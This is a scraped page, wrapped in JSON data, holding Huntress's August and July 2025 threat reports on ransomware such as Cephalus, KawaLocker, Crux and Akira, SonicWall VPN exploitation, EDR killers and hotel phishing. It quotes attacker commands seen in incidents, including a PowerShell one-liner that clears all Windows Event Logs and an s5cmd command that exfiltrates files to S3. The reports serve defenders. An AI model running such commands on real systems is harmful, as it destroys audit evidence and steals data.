","Mon Sep 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"september-2025",{"_1724":32},{"_1053":2618,"_19":2619,"_1056":2620},"2af828dad33e415caad3221dcc2d8d2e","Threat View from the Lens of Huntress Adversary Tactics: August 2025",{"_35":1716,"_1362":2621,"_1722":2626,"_1725":2627,"_1112":2726,"_1983":2728,"_1989":2729,"_1776":2730,"_19":2619,"_1993":2732,"_2081":2787,"_2083":2788,"_1764":2789,"_2091":2790,"_2093":2094},[2622,2623,2624],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2625},"August 2025",{"_1724":32},[2628,2645,2662,2679,2696,2711],{"_1728":2629},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2630},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2631,"_1056":2632,"_1704":2641,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2642,"_1792":2643,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2633,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2640},[2634,2636,2638],{"_1749":2635},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2637},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2639},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":2644,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2646},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":2647},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":2648,"_1056":2649,"_1704":2658,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2659,"_1792":2660,"_1803":1842},[],{"_1776":2650,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":2651,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[2652,2654,2656],{"_1749":2653},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2655},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2657},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":2661,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2663},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":2664},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":2665,"_1704":2666,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2667,"_1792":2668,"_1783":1855,"_1056":2670,"_1803":1878},[],{},[],{"_1795":2669,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":2671,"_1764":1870,"_1760":1871,"_19":1848,"_1776":2678,"_1740":1875,"_1774":1876,"_1742":1877},[2672,2674,2676],{"_1749":2673},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2675},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2677},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":2680},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":2681},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":2682,"_1704":2683,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2684,"_1792":2685,"_1783":1890,"_1056":2687,"_1803":1911},[],{},[],{"_1795":2686,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":2688,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":2695,"_1742":1910},[2689,2691,2693],{"_1749":2690},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2692},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2694},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":2697},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":2698},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":2699,"_1056":2700,"_1704":2707,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":2708,"_1792":2709,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":2701,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":2702,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[2703,2705],{"_1749":2704},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2706},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":2710,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2712},{"_1350":1730,"_1053":2345,"_1327":1732,"_1701":2713},{"_1734":2347,"_1053":2345,"_19":2348,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2714,"_1056":2715,"_1704":2722,"_1783":2365,"_1785":2347,"_1703":118,"_1786":1789,"_1788":1789,"_1790":2723,"_1792":2724,"_1803":2369},[],{"_19":2348,"_1742":2351,"_1746":2716,"_1776":2721,"_1758":1759,"_1766":2360,"_1772":2361,"_1764":2362,"_1768":2363},[2717,2719],{"_1749":2718},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2720},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1781":6,"_134":2358,"_171":6,"_1778":2359},{},[],{"_1795":2725,"_1794":1056,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":2727,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":6},{"_1778":2731,"_134":2619},"Huntress Adversary Tactics covers August 2025 threats including Cephalus and Kawalocker ransomware, active SonicWall VPN exploits, and EDR killer tools tracked by the SOC.",{"_1995":2733},[2734,2749,2754,2761,2768,2781],{"_1998":2735,"_21":2736,"_2011":2208,"_2013":2014},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F840047b3f71e4cdfb3c133607bf1c679",[2737,2741,2745],{"_1987":2738,"_47":2739,"_2004":32,"_2005":2740},"

On August 13, our SOC responded to a ransomware attack involving dynamic link library (DLL) sideloading via a legitimate SentinelOne binary. DLL sideloading is a detection evasion technique that involves executing malicious code through signed executables. Because this involves trusted executables, it helps threat actors sidestep security solutions. In the incident, we saw that the threat actor loaded SentinelAgentCore.dll from SentinelBrowserNativeHost.exe. The DLL then loaded data.bin, which contained the actual ransomware code. The attacker used Remote Desktop Protocol (RDP) as an initial access vector. They also ran a series of commands to create Microsoft Defender exclusions for various file paths (C:\\Windows\\System32\\svchost.exe and C:\\Windows\\Temp) and file extensions (.dat, .sss, .cache, and .tmp), in an attempt to avoid detection. The ransom note linked the attack back to a ransomware variant called Cephalus, which we recently detailed in a blog post.

$\"\"$ Cephalus ransom note seen in attacks

","Cephalus ransomware: DLL sideloading via legit SentinelOne binary","

We’ve seen similar paths for DLL sideloading (specifically combining SentinelAgentCore.dll and SentinelBrowserNativeHost.exe) in other incidents. A solid understanding of the Cephalus ransomware attack path is critical for fast detection and response before your files are encrypted.

",{"_1987":2742,"_47":2743,"_2004":32,"_2005":2744},"

We recently started seeing a newer ransomware variant called KawaLocker (also known as KAWA4096). According to analysis from TrustWave’s SpiderLabs team, which initially uncovered the threat, KawaLocker first made its debut in June 2025.

We first saw Kawalocker ransomware on August 8. During the incident, the threat actor:

Accessed the victim’s endpoint via Remote Desktop Protocol (RDP) using a compromised account
Deployed HRSword and installed kernel drivers sysdiag.sys and hrwfpdr.sys, which aimed to disable security tools
Deployed the KawaLocker ransomware via the following command: e.exe -d=\"E:\\\\\"

$\"\"$ KawaLocker ransom note seen in incidents

","Kawalocker ransomware","

Over the last few months, we’ve seen various emerging ransomware variants, like Cephalus and Crux. When we spot newer variants in the attack path, we detail the specific commands and Indicators of Compromise (IoCs) to help the security community better track these threats. You can read the full breakdown of the attack that included KawaLocker ransomware here.

",{"_1987":2746,"_47":2747,"_2004":32,"_2005":2748},"\n

In a wave of separate attacks over the past month, we’ve seen threat actors affiliated with Akira ransomware take steps to clear the Windows Event Logs, significantly limiting the available data for detections, audits, investigations, and more. This includes incidents where we saw Akira linked to the recent SonicWall VPN attacks.

The incidents used a command with the -dellog argument, which triggers the following PowerShell command to clear the event logs:

powershell.exe -ep bypass -Command \"Get-WinEvent -ListLog * | where { $_.RecordCount } | ForEach-Object -Process{ [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }\"

","Akira clears Windows Event Logs","

Ransomware actors continue to use tactics that evade detection and hold back investigations. While clearing Windows Event Logs is not a novel or unique technique, it’s important for defenders to understand how this is used in recent Akira-related incidents.

",{"_1998":2016,"_21":2750,"_2011":2034,"_2013":2035},[2751],{"_1987":2752,"_47":2753,"_2004":6,"_2005":422},"

Anton Ovrutsky posted an incident walkthrough video that breaks down how a threat actor used an exposed RDP instance to deploy ransomware. Check out the video here!

$\"\"$ The latest SOC incident walkthrough video from Tactical Response

","SOC incident walkthrough",{"_1998":2037,"_21":2755,"_2011":2045,"_2013":2046},[2756,2758],{"_1987":2757,"_47":2579,"_2004":6,"_2005":422},"

Interpol ran a massive takedown operation in Africa spanning 15+ countries and leading to the arrest of more than 1,200 criminals. Operation Serengeti 2.0, a continuation of an operation that initially started in September of 2024, highlights the trend of authorities taking down infrastructure and financial components used to fuel cybercrime. The operation was jointly executed with authorities in the UK to arrest ransomware operators who were working with these criminals in Africa, as well as Chinese nationals.

It’s noted that this attack directly impacts the Bl00dy and RansomHub groups that appear to launder portions of their cryptocurrency through elements and personnel located in Ghana and Seychelles, respectively.

$\"\"$ A distribution flow chart for Bl00dy ransomware groups' laundering services in Ghana

The impressive takedown list from this campaign includes 25 cryptocurrency mining centers, which were used to fraudulently validate transactions on the blockchain. Authorities removed 45 illegal power stations, which powered these mining centers.

$\"\"$ An illegal power station in Angola that powered fraudulent cryptocurrency mining centers

Additionally, Serengeti 2.0 disrupted multiple email scams. Over $97 million was successfully recovered for 11,432 victims of email inheritance fraud.

",{"_1987":2759,"_47":2760,"_2004":6,"_2005":422},"

Recent reports point to increased use of “EDR killer” tools by ransomware groups. Tools, like RansomHub’s “EDRKillShifter” aren’t new - they’ve been used for the past few years to disable EDR, typically through Bring Your Own Vulnerable Driver (BYOVD) attacks. Several ransomware groups have recently been using a new EDR killer tool to target vendors like Sophos, Microsoft Defender, Kaspersky, Symantec, Trend Micro, and SentinelOne.

This latest tool uses an obfuscated binary that’s self-decoded at runtime. It searches for a digitally signed driver (complete with a stolen or expired certificate) before loading the malicious driver into the kernel. This allows threat actors to bypass EDR as they gain the kernel privileges needed to disable security products.

At Huntress, we’ve been tracking these attacker strategies for some time. We have built-in features like tamper protection to help mitigate previous EDR killer tools used by threat actors. Additionally, by catching the attacker in the early stages of attacks—before they can use one of these EDR killer tools—Huntress shuts down this problem at the source.

$\"\"$

","‘EDR killer’ tools: what we’re seeing",{"_1998":2061,"_21":2762,"_2011":2767,"_2013":2070},[2763],{"_1987":2764,"_47":2765,"_2004":32,"_2005":2766},"

In an incident from late July to mid-August, we found multiple active Akira ransomware intrusions exploiting SonicWall appliances. SonicWall said with high confidence the threat activity is not connected to a zero-day flaw. They believe it is related to CVE-2024-40766, an improper access control flaw, first published in August 2024, which can lead to “unauthorized resource access.”

Our Rapid Response blog post on this threat activity shared the IoCs, types of TTPs we saw, and evidence of the threat actors targeting SonicWall firewalls with SSL VPN enabled before deploying the Akira ransomware. In some incidents, the threat actors immediately gained administrative access by leveraging an over-privileged LDAP or service account used by the SonicWall device itself (e.g., sonicwall, LDAPAdmin).

Meanwhile, in a series of updates, SonicWall said that many of the incidents appear to be related to migrations from Gen 6 to Gen 7 firewalls, where local user passwords were carried over during the migrations and were not reset afterward. SonicWall advised users to reset all local user account passwords for any accounts with SSL VPN access (especially if they were carried over during migration from Gen 6 to Gen 7). In the latest update regarding LDAP accounts being used in the incidents, SonicWall said:

“The local user account password recommendation does not apply to auto-generated or locally duplicated LDAP/RADIUS users. SonicOS does not store the passwords of these users. Only if a password has been set for a user on the firewall management interface is it a local user.”

We continued to post updates throughout August, including the use by Akira actors of two legitimate Windows drivers—rwdrv.sys and hlpdrv.sys—in BYOVD attacks, with the end goal of evading or disabling security tools.

","Active Exploitation of SonicWall VPNs","

We continue to track this threat and work with other companies to stay on top of all relevant information. Jamie Levy with the Adversary Tactics team also joined Right of Boom’s The CyberCall podcast, along with SonicWall’s VP of ThreatOps, to discuss this series of incidents and answer questions about the surge of exploitations.

$\"\"$ Huntress’ Jamie Levy joins The CyberCall to discuss recent SonicWall VPN exploitation

","

",{"_1998":2048,"_21":2769,"_2011":2780,"_2013":2059},[2770,2772,2774,2776,2778],{"_1987":2771,"_47":48,"_2005":422},"

The EDR for Linux Open Beta started on August 19, marking a significant expansion of Huntress's endpoint protection capabilities to a critical operating system! 🎉 This new functionality is supported by the same SOC workflows as Windows and macOS and offers crucial visibility and control over Linux environments, a common target for threat actors. Try it for free today and find what shady footholds and GTFOBins hackers are using in your environment.

The GA release of Tamper Protection for macOS enhances the overall resilience and manageability of EDR deployments, directly addressing the challenge of threat actors attempting to uninstall agents and create blind spots. Tamper Protection for macOS protects the Huntress app, Huntress system extension, and other important Huntress files against being deleted, moved, or renamed (any of which could interrupt service).

We also made it easy to see conflicting Windows Firewall configurations that could lead to the firewall being inadvertently enabled or disabled as well as made it easier to manage Antivirus Exclusions by introducing a bulk delete capability.

",{"_1987":2773,"_47":1136,"_2005":422},"

The product team continues to focus on long-term architectural investments to address data flow, underscoring a commitment to robust and scalable identity protection, which is crucial for preventing lateral movement and privilege escalation by attackers.

",{"_1987":2775,"_47":69,"_2005":422},"

Huntress SIEM continues to demonstrate its effectiveness in early threat detection, allowing customers to identify and mitigate ransomware criminals and other threats significantly faster.

Recent enhancements to our log processing pipeline have improved stability, performance, and observability, ensuring reliable data collection and bolstering our ability to protect customers from evolving threats by providing timely and accurate insights into their security posture.

To further strengthen these protections, we’re expanding the number of supported log sources within our SIEM. By broadening our integrations, we’re enabling security teams to centralize even more data across their environments - giving them richer visibility, faster correlation of events, and greater flexibility to meet both security and compliance needs.

",{"_1987":2777,"_47":1202,"_2005":422},"

Huntress Security Awareness Training (SAT) continues to evolve to better equip users against sophisticated social engineering attacks.

We introduced a new FileFix phishing scenario to expose learners to cutting-edge tradecraft, complete with corresponding Phishing Defense Coaching. We also launched a new Smishing episode to address emerging mobile-based threats.

Managed SAT has enabled Learner Aliases to use learners’ immutable IDs rather than their email address as primary ID. This allows better support for email address changes, and ensures SAT learners can appropriately report phishing from an alias associated with their account.

",{"_1987":2779,"_47":1123,"_2005":422},"

Improvements to the Huntress Platform enhance the overall experience for partners and strengthen the product's foundation.

We’ve updated incident reports to provide partners and customers with visibility into the full incident report history. Should reports be updated by the Huntress SOC, the latest report can always be found at the top, with historical reports listed afterward. More robust customer-facing error logging and retry options for PSA integrations reduce support load and make debugging easier, leading to quicker resolution of issues.

","

",{"_1998":2072,"_21":2782,"_2011":422,"_2013":2080},[2783,2785],{"_1987":2784,"_47":515,"_2004":6,"_2005":422},"

$\"\"$

Our August Tradecraft Tuesday episode focused on the dark web where Huntress’ John Hammond and Dave Kleinatland explored popular underground forums, marketplaces, and ransomware data leak sites.

",{"_1987":2786,"_47":2244,"_2004":6,"_2005":422},"

At Black Hat USA 2025, several members of Huntress’ security team took the stage to share their knowledge and expertise.

That included a sponsored session by John Hammond (“Lesser-Known Linux Persistence Mechanisms”). Black Hat attendees also heard from Ben Folland, Robert Knapp, Jonathan Johnson, and more in several different booth theatre sessions and demos!

$\"\"$

Greg Linares and Yarden Shafir gave a talk at Sikkerhetsfestivalen on The Patch That Wasn't: A Decade of Failure. The talk highlighted how a flaw in Microsoft’s codesigning checks still allowed malicious code to run at the kernel level.

Since we have seen some attackers bring their own vulnerable drivers, this is a timely talk that will hopefully bring some actionable changes by Microsoft.

$\"\"$

","Wed Aug 27 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"august-2025",{"_1724":32},{"_1053":2792,"_19":2793,"_1056":2794},"ae492ff52f894d479cc4f58a71277c5e","Threat View from the Lens of Huntress Adversary Tactics: July 2025",{"_35":1716,"_1362":2795,"_1722":2800,"_1725":2801,"_1112":2900,"_1983":2902,"_1989":2903,"_1776":2904,"_19":2793,"_1993":2906,"_2081":2972,"_2083":2973,"_1764":2974,"_2091":2975,"_2093":2094},[2796,2797,2798],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2799},"July 2025",{"_1724":32},[2802,2819,2836,2853,2870,2885],{"_1728":2803},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2804},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2805,"_1056":2806,"_1704":2815,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2816,"_1792":2817,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2807,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2814},[2808,2810,2812],{"_1749":2809},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2811},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2813},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":2818,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2820},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":2821},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":2822,"_1056":2823,"_1704":2832,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2833,"_1792":2834,"_1803":1842},[],{"_1776":2824,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":2825,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[2826,2828,2830],{"_1749":2827},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2829},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2831},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":2835,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2837},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":2838},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":2839,"_1704":2840,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2841,"_1792":2842,"_1783":1855,"_1056":2844,"_1803":1878},[],{},[],{"_1795":2843,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":2845,"_1764":1870,"_1760":1871,"_19":1848,"_1776":2852,"_1740":1875,"_1774":1876,"_1742":1877},[2846,2848,2850],{"_1749":2847},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2849},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2851},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":2854},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":2855},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":2856,"_1704":2857,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2858,"_1792":2859,"_1783":1890,"_1056":2861,"_1803":1911},[],{},[],{"_1795":2860,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":2862,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":2869,"_1742":1910},[2863,2865,2867],{"_1749":2864},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2866},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2868},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":2871},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":2872},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":2873,"_1056":2874,"_1704":2881,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":2882,"_1792":2883,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":2875,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":2876,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[2877,2879],{"_1749":2878},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2880},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":2884,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2886},{"_1350":1730,"_1053":2345,"_1327":1732,"_1701":2887},{"_1734":2347,"_1053":2345,"_19":2348,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2888,"_1056":2889,"_1704":2896,"_1783":2365,"_1785":2347,"_1703":118,"_1786":1789,"_1788":1789,"_1790":2897,"_1792":2898,"_1803":2369},[],{"_19":2348,"_1742":2351,"_1746":2890,"_1776":2895,"_1758":1759,"_1766":2360,"_1772":2361,"_1764":2362,"_1768":2363},[2891,2893],{"_1749":2892},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2894},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1781":6,"_134":2358,"_171":6,"_1778":2359},{},[],{"_1795":2899,"_1794":1056,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":2901,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":6},{"_1778":2905,"_134":2793},"Huntress Adversary Tactics covers July 2025 threats including Crux ransomware, active SonicWall VPN exploitation, and Wing FTP Server RCE in the wild.",{"_1995":2907},[2908,2927,2934,2944,2955,2966],{"_1998":2909,"_21":2910,"_2011":2208,"_2013":2014},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2Fadb27e94b1cf49ab923de9503a34ec9d",[2911,2915,2919,2923],{"_1987":2912,"_47":2913,"_2004":32,"_2005":2914},"

We're seeing a new emerging ransomware variant called Crux. So far, we’ve spotted Crux in two incidents since July 2025. There isn’t public reporting on Crux ransomware yet, but according to a ransom note in an incident we detected, Crux claims to be part of BlackByte, a ransomware group with multiple malware variants dating back to 2021.

$\"\"$ Excerpt from Crux ransomware ransom note

We’ve seen the following threat activity associated with the Crux ransomware incidents:

The use of RClone (typically used by attackers for data exfiltration)
Attempts to install drivers and remotely dump the contents of the Windows Registry
Attempts to disable Windows Recovery, which makes system restoration harder for victims

$\"\"$ Process tree showing threat actor disabling Windows Recovery

","Crux ransomware","

Crux is a previously unreported, emerging ransomware variant. The threat actors behind Crux claim to be part of the BlackByte ransomware group. Our SOC is closely monitoring our customers’ and partners’ environments to better understand the scope of Crux ransomware threat activity while blocking it early in the attack path.

",{"_1987":2916,"_47":2917,"_2004":32,"_2005":2918},"

We saw separate incidents in June and July with a similar threat activity pattern: threat actors compromising MSPs’ Atera Remote Monitoring and Management (RMM) instances and then targeting the downstream customers, installing Cloudflare tunnels and, in some cases, deploying Akira ransomware.

$\"\"$ Process tree showing how the threat actor compromised an MSP Atera RMM instance

We shared details in a two-part blog series on an initial attack in mid-June, and several subsequent incidents with similar tactics, techniques,and procedures (TTPs) - like the same Cloudflare tunnel token account tags, threat actor workstation names, and identical indicators of compromise (IOCs).

","MSP RMM attacks persist","

Threat actors are actively targeting MSPs and their customers. Businesses can defend against RMM abuse by auditing, tracking, and monitoring for both authorized and malicious remote access tools. MSPs should also pay attention to legacy RMMs running in their customers’ environments.

",{"_1987":2920,"_47":2921,"_2004":32,"_2005":2922},"

Recently, we came across threat actors exfiltrating data with s5cmd, an open-source tool. According to GitHub, this is “a high-performance command-line tool designed for interacting with S3-compatible object storage and local filesystems.”

We saw s5cmd used in a Qilin ransomware attack in the following command line:

s5cmd --credentials-file credentials cp --include \"*.pdf\" --include \"*.png\" --include \"*.jpg\" --include \"*.jpeg\" --include \"*.xls\" --include \"*.xlsx\" --include \"*.tif\" --include \"*.zip\" --include \"*.doc\" --include \"*.docx\" \"[Folder]\" s3://[Resource]

The threat actor accessed the infrastructure via Remote Desktop Protocol (RDP), used s5cmd.exe for data exfiltration, and ultimately used PSExec to push the ransomware executable and launch it on other endpoints.

","Data exfiltration with open-source tools","

Our security experts see many types of tools and techniques for data exfiltration - the use of s5cmd shows how threat actors are using open-source tools.

",{"_1987":2924,"_47":2925,"_2004":32,"_2005":2926},"

We’ve noticed a recent jump in phishing attacks using fake hotel booking websites (shout out to Austin Worline, Security Operations Analyst, for flagging this trend!).

The phishing example below uses a fake captcha, a technique that tricks users into solving a captcha challenge via social engineering to drop malware. Here’s what happened:

A user opened an email with a malicious link for a phony hotel booking webpage and a bogus captcha challenge. Then, the user unknowingly executed a malicious captcha payload, which launched a suspicious payload for persistence.

$\"\"$ Webpage instructing the target to solve a fake captcha challenge as part of a phishing attack

In another incident, a user:

Got a phishing email in their Outlook account with a suspicious shortened URL
Directed user activity to another page (\"https[:]//2f-regdocuments-approval3d[.]com/ssa/red[.]php\"), triggering a malicious MSI installer
Installed unauthorized instances of RMM tools, including Atera and Splashtop RMM

","Hotels in the crosshairs of fake captcha phishing schemes","

We’ve seen increased targeting with email phishing attacks against our partners in the hotel industry. Companies in this sector should be vigilant for signs of these phishing attacks and use Managed Security Awareness Training (SAT) to level up employees’ awareness of phishing threats.

",{"_1998":2928,"_21":2929,"_2011":2933,"_2013":2035},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F8c2d2d16d1be4321aed626b2d918c566",[2930],{"_1987":2931,"_47":2932,"_2005":422},"

A recent project by the Tactical Response team has been to track successful ransomware incidents. The data tracked by the team gives us valuable information about the types of ransomware groups that are targeting our customer base, as well as the vectors that they target for initial access.

As seen in the chart below, the majority of ransomware incidents tracked by Tactical Response are linked to Akira (52.8%). Coming in behind Akira are Qilin (in 11.1% of tracked incidents), LockBit (8.3%) and Crux (8.3%). It’s worth noting that these findings are developed from ransomware incidents tracked specifically by Tactical Response, rather than all ransomware incidents that pass through the SOC.

$\"\"$ Breakdown of ransomware groups tracked by Tactical Response

The Tactical Response team’s data also shows us the top initial access vectors used by ransomware groups. While the initial access for the majority of cases could not be determined (and other cases are still under investigation), threat groups got in through VPNs in 27.8% of incidents. They also targeted RDP in 11.1% of incidents and RMMs in 2.8% of cases.

$\"\"$ Breakdown of initial access vectors for ransomware groups

","Ransomware findings","

",{"_1998":2935,"_21":2936,"_2011":2045,"_2013":2046},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F7bb5ee55aaee4f01a9a759625948a56d",[2937,2941],{"_1987":2938,"_47":2939,"_2004":32,"_2005":2940},"

The relatively new D4rk4rmy ransomware group claimed responsibility for high-profile attacks on Casino de Monte-Carlo and Big Rock Resort, drawing attention to aggressive targeting tactics, like potential data exfiltration and encryption against entertainment and hospitality sectors. This group’s legitimacy is under dispute, however many of their victims do appear to have been compromised by infostealer malware installs prior to their claims. It is believed that the D4rk4rmy ransomware group buys these available infostealer logs prior to these claims, and is perhaps embellishing the truth of the level of their compromises. Regardless of legitimacy this tactic highlights the common shift of many ransomware groups utilizing these resources in order to target victims.

China-linked hackers, including the threat actor known as Storm-2603, ramped up exploitation of Microsoft SharePoint servers as initial access vectors through a zero-day vulnerability chain dubbed ToolShell, including CVE-2025-49706 (an improper authentication spoofing flaw) and CVE-2025-49704 (an insecure deserialization vulnerability). This exploitation leads to SYSTEM-level access on affected systems and subsequent deployment of Warlock (aka X2anylock) and LockBit Black ransomware variants. Ransomware is deployed via a custom command-and-control (C2) framework named AK47 that implements DNS-controlled backdoors, persistent remote access, lateral movement between endpoints, and multi-stage payload delivery.

